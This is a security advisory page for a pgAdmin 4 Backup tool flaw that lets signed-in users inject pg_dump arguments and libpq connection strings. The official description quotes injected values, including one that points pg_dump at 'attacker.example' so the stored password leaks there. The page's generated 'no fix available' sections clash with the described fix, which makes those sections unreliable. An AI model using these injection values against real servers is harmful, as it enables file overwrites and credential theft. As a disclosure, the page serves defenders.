# CVE-2026-86864: pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool > Authenticated users can inject arguments into pg_dump to write arbitrary files or steal database credentials via connection string manipulation. - **Severity:** High 8.7 (`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`) - **Exploited in the wild:** Not known - **Login needed:** Any signed-in user - **Attackable:** Over the internet - **Victim action needed:** Not needed - **Fix available:** No - **Published:** 17 Sep 2026 - **Updated:** 17 Sep 2026 - **Also known as:** GHSA-xrr3-3pj6-6gw9 ## What is CVE-2026-86864? CVE-2026-86864 is a high-severity command injection vulnerability in pgadmin.org pgAdmin 4, published on 17 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim. ### Official description pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job//object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18. Weakness: CWE-88 (Improper Neutralization of Argument Delimiters in a Command), CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) ## Which versions are affected by CVE-2026-86864? It affects 1 product. Products: Pgadmin Pgadmin 4. ## How do I fix CVE-2026-86864? No fix has been published for CVE-2026-86864 yet. Limit exposure of the affected software until one is available. ## Is CVE-2026-86864 being exploited? There is no known exploitation of CVE-2026-86864 in the wild and no public exploit code. ## Other vulnerabilities in pgadmin.org pgAdmin 4 - [CVE-2025-2945](https://insights.sbomify.com/CVE-2025-2945/): pgAdmin 4: Remote Code Execution in Query Tool and Cloud Deployment (critical 9.9) - [CVE-2024-9014](https://insights.sbomify.com/CVE-2024-9014/): OAuth2 client id and secret exposed through the web browser in pgAdmin 4 (critical 9.9) - [CVE-2026-12046](https://insights.sbomify.com/CVE-2026-12046/): Deserialization in pgAdmin 4 (critical 9.5) - [CVE-2026-17351](https://insights.sbomify.com/CVE-2026-17351/): SQL injection in pgAdmin 4 (critical 9.4) - [CVE-2026-17566](https://insights.sbomify.com/CVE-2026-17566/): Command injection in pgAdmin 4 (critical 9.4) ## Fix prompt for AI coding agents ```text Check this codebase for CVE-2026-86864 and fix it if it is affected. What it is: CVE-2026-86864 is a high-severity command injection vulnerability in pgadmin.org pgAdmin 4, published on 17 Sep 2026. Any signed-in user can exploit it over the network, with no action from the victim. Exploitation: There is no known exploitation of CVE-2026-86864 in the wild and no public exploit code. Affected product: pgadmin.org pgAdmin 4. No package-level version data is available, so check the vendor advisory linked from the reference page. Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/CVE-2026-86864/ (Markdown: https://insights.sbomify.com/CVE-2026-86864/index.md) ``` ## Sources - CVE record: https://www.cve.org/CVERecord?id=CVE-2026-86864 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86864 - OSV: https://osv.dev/vulnerability/CVE-2026-86864 --- From sbomify Insights: https://insights.sbomify.com/CVE-2026-86864/ Summaries are generated and may contain mistakes; the official description above is the record.